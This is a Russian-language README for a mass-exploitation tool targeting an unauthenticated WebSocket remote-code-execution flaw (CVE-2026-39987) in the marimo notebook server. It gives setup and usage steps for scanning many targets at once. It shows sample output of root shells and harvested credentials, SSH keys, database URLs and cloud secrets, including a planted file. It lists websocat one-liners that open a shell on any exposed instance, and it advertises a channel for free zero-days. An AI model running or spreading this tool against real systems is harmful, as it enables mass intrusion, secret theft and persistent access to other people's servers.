
marimo — это реактивный Python-ноутбук. До версии 0.23.0 в Marimo существует уязвимость Pre-Auth RCE (удалённое выполнение кода без аутентификации).
marimo — это реактивный Python-ноутбук. До версии 0.23.0 в Marimo присутствует уязвимость Pre-Auth RCE
___ _ ___ __ __ __ __ ___ __ __ _______
/ (_)(_| |_// (_) / )/ \/ )/ / \/ |/ |/ \ /
| | | \__ /| | /| __ __/\_/|\_/|\__/ /
| | | / -----/ | |/ |/ \----- \ | |/ \ /
\___/ \_/ \___/ /___\__//___\__/ \___/ | |\__//
/terminal/ws — Pre-Auth RCE через неаутентифицированный WebSocket
Автор: Nxploited · Telegram: @KNxploited
📢 Присоединяйтесь к Telegram-каналу за свежими бесплатными zero-day и эксплойтами:
🔗 Nxploited ZeroDay Hub — t.me/KNxploited
CVE-2026-39987 — это критическая уязвимость удалённого выполнения кода без аутентификации (Pre-Authentication Remote Code Execution), затрагивающая Marimo — открытую платформу реактивных Python-ноутбуков.
Конечная точка терминального WebSocket /terminal/ws полностью лишена проверки аутентификации, что позволяет любому неаутентифицированному удалённому злоумышленнику получить полноценную PTY-оболочку и выполнять произвольные системные команды с правами запущенного процесса — часто root в контейнерных развёртываниях.
В отличие от других конечных точек WebSocket, таких как /ws, которые корректно вызывают validate_auth() перед принятием соединений, конечная точка /terminal/ws проверяет только режим работы и совместимость платформы, полностью пропуская аутентификацию.
✅ Исправлено в:
marimo >= 0.23.0❌ Все версии до0.23.0уязвимы
/ws → calls validate_auth() ✅ Authentication enforced
/terminal/ws → skips validate_auth() ❌ No authentication
Обработчик /terminal/ws проверяет только:
Он никогда не проверяет токены сессий, cookie или любую форму идентификации — превращая каждый открытый экземпляр Marimo в прямую оболочку.
.py-ноутбуки Marimo.env · wp-config.php · SSH-приватные ключи · /etc/shadowPython 3.10 or higher
Установите зависимости:
pip install websockets rich requests urllib3
Или с помощью файла requirements:
pip install -r requirements.txt
requirements.txt
websockets
rich
requests
urllib3
Создайте файл с именем targets.txt, указывая одну цель на строку.
Инструмент принимает все форматы:
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718
Поддерживаемые форматы: чистый IP · IP:порт · домен · домен:порт ·
http://·https://·ws://·wss://
python3 CVE-2026-39987.py
▸ Targets file (default: targets.txt) : targets.txt
▸ Threads (default: 50) : 100
Диапазон потоков: 1–300. Рекомендуется: 50–150 в зависимости от вашей сети.
╭──────────────────────────────────────────────────────────╮
│ CVE-2026-39987 · Marimo WebSocket RCE │
│ MASS SCANNER · FULL ENUM · SMART DETECT │
│ By: Nxploited · github.com/Nxploited · @KNxploited │
╰──────────────────────────────────────────────────────────╯
══════════════ ws://192.168.1.100:2718/terminal/ws ══════════
╭────────────────────────────────────────╮
│ ◈◈◈ ROOT ACCESS ◈◈◈ │
│ ws://192.168.1.100:2718 │
│ uid ▸ uid=0(root) groups=[root] │
╰────────────────────────────────────────╯
── ENVIRONMENT ──────────────────────────────────────────
✦ Type MARIMO
◈ Docker True
◈ Marimo version 0.22.1
◈ Notebook directory /app/notebooks
── MARIMO — NOTEBOOKS ───────────────────────────────────
✦ Notebooks 7 found
· /app/notebooks/analysis.py
· /app/notebooks/data_pipeline.py
· /app/notebooks/etl_job.py
── MARIMO — TOKENS ──────────────────────────────────────
✦ Token CLI secret-token-abc123xyz
✦ .marimo.toml /root/.marimo.toml
── /etc SENSITIVE ──────────────────────────────────────
✦ /etc/shadow READABLE [42 entries]
◈ /etc/passwd [42 lines]
◈ /etc/crontab [12 lines]
── SSH KEYS ─────────────────────────────────────────────
✦ /root/.ssh/id_rsa FOUND
✦ /root/.ssh/id_ed25519 FOUND
── DATABASES ────────────────────────────────────────────
✦ MySQL DATABASES LISTED
✦ Redis PONG — NO AUTH
✦ DuckDB files /app/notebooks/data.duckdb
── SENSITIVE ENV VARS ───────────────────────────────────
✦ DATABASE_URL postgresql://admin:p4ss@db:5432/prod
✦ AWS_SECRET_ACCESS_KEY redacted...
── NX FILE DROP ──────────────────────────────��──────────
✦ Shell write /app/notebooks/Nx.py
✦ HTTP access http://192.168.1.100:2718/Nx.py
── COMPLETE ─────────────────────────────────────────────
◈ Saved to nx_output/192.168.1.100_2718/
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
nx_output/
│
├── summary.txt ← Master summary of all targets
├── curls.txt ← websocat one-liners for all shells
├── Nx.txt ← HTTP-confirmed file drops
│
└── 192.168.1.100_2718/ ← Per-target directory
├── summary.txt ← Target summary & connect command
├── identity.txt ← id · whoami · uname · hostname · shell
├── users.txt ← /etc/passwd · shadow · sudoers · last
├── ssh_keys.txt ← Discovered SSH private keys & auth keys
├── etc_data.txt ← /etc/hosts · resolv.conf · crontab · env
├── env_sensitive.txt ← Filtered sensitive environment variables
├── databases.txt ← MySQL · Redis · PostgreSQL · config files
├── app_configs.txt ← .env · wp-config.php · settings.py · etc
├── notebooks.txt ← Full content of all Marimo notebooks
├── marimo_toml.txt ← .marimo.toml configuration files
├── marimo_tokens.txt ← All extracted Marimo auth tokens
├── dotenv.txt ← .env / .env.local / .env.production
├── databases_marimo.txt ← DuckDB · SQLite · DB URLs from notebooks
├── webserver_configs.txt ← Apache/Nginx VirtualHosts & configs
├── network.txt ← Interfaces · routes · open ports · iptables
├── processes.txt ← ps aux · crontab · cron.d · systemd units
├── logs.txt ← auth.log · syslog · access.log · error.log
├── nx_file.txt ← Nx drop path · web root · HTTP URL
└── software.txt ← PHP · Python · Node.js versions
После обнаружения уязвимой цели подключитесь вручную с помощью websocat:
# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases
# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"
# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"
Значение заголовка
Authorizationне имеет значения — конечная точка принимает любой токен или его отсутствие.
Если вы запускаете Marimo в производственной или открытой среде:
marimo >= 0.23.0127.0.0.1 — никогда не открывайте его напрямую в интернет/terminal/wsЭтот инструмент предоставляется строго в образовательных целях, для авторизованного тестирования на проникновение и легитимных исследований в области безопасности.
Вы обязаны получить явное письменное разрешение владельца системы перед запуском этого инструмента против любой цели. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения, незаконно и может повлечь гражданское и/или уголовное преследование в соответствии с применимыми законами о компьютерных преступлениях, включая, помимо прочего, Закон о компьютерном мошенничестве и злоупотреблениях (CFAA), Закон о неправомерном использовании компьютеров, директивы ЕС о киберпреступности и эквивалентное законодательство вашей юрисдикции.
Автор не несёт никакой ответственности за любой ущерб, потерю данных или юридические последствия, возникшие в результате неправомерного использования этого инструмента.
Используйте ответственно. Взламывайте этично.
| Свойство | Значение |
|---|
| ID CVE | CVE-2026-39987 |
| Затронутое ПО | marimo < 0.23.0 |
| Класс уязвимости | Pre-Auth RCE через неаутентифицированный WebSocket |
| Затронутая конечная точка | /terminal/ws |
| Вектор атаки | Сеть |
| Требуется аутентификация | ❌ Нет |
| Взаимодействие с пользователем | ❌ Нет |
| Серьёзность | 🔴 Критическая |
| Воздействие | Полная PTY-оболочка · Выполнение произвольных команд |
| Исправленная версия | marimo 0.23.0 |
| Иконка | Уровень | Описание |
|---|
✦✦✦ 🟢 | ROOT | uid=0 — Полный root-доступ |
✦✦ 🟡 | PRIV | Член групп sudo · wheel · docker · disk · adm |
✦ 🔵 | SHELL | Доступ к оболочке без привилегий |
✗ 🔴 | FAIL | Отказ в соединении · таймаут · ошибка HTTP |
| Окружение | Автоопределение | Специализированный сбор |
|---|
| 🟣 Marimo | ✅ | Ноутбуки · Токены · DuckDB · .marimo.toml · монтирования |
| 🔵 cPanel / WHM | ✅ | userdomains · пароль MySQL · список пользователей WHM |
| 🟠 Plesk | ✅ | psa.shadow · vhosts · учётные данные администратора MySQL |
| 🌐 Apache | ✅ | VirtualHosts · sites-enabled · журналы доступа/ошибок |
| 🟢 Nginx | ✅ | Server blocks · conf.d · журналы доступа/ошибок |
| 🐍 Python-приложение | ✅ | .env · settings.py · config.py · Pipfile |
| 🟡 Node.js | ✅ | .env · package.json · public-директория |
| 🐳 Docker | ✅ | Bind-mounts · определение локального хранилища контейнера |
| ⚙️ Универсальное | ✅ | Полный набор энумерации для неизвестных окружений |
| Псевдоним | Nxploited |
| GitHub | github.com/Nxploited |
| Telegram | @KNxploited |
| Канал | Nxploited ZeroDay Hub |
«Чем тише ты становишься, тем больше ты способен услышать.»
⭐ Если этот инструмент оказался полезным, поставьте звезду и присоединяйтесь к каналу за новыми zero-day! ⭐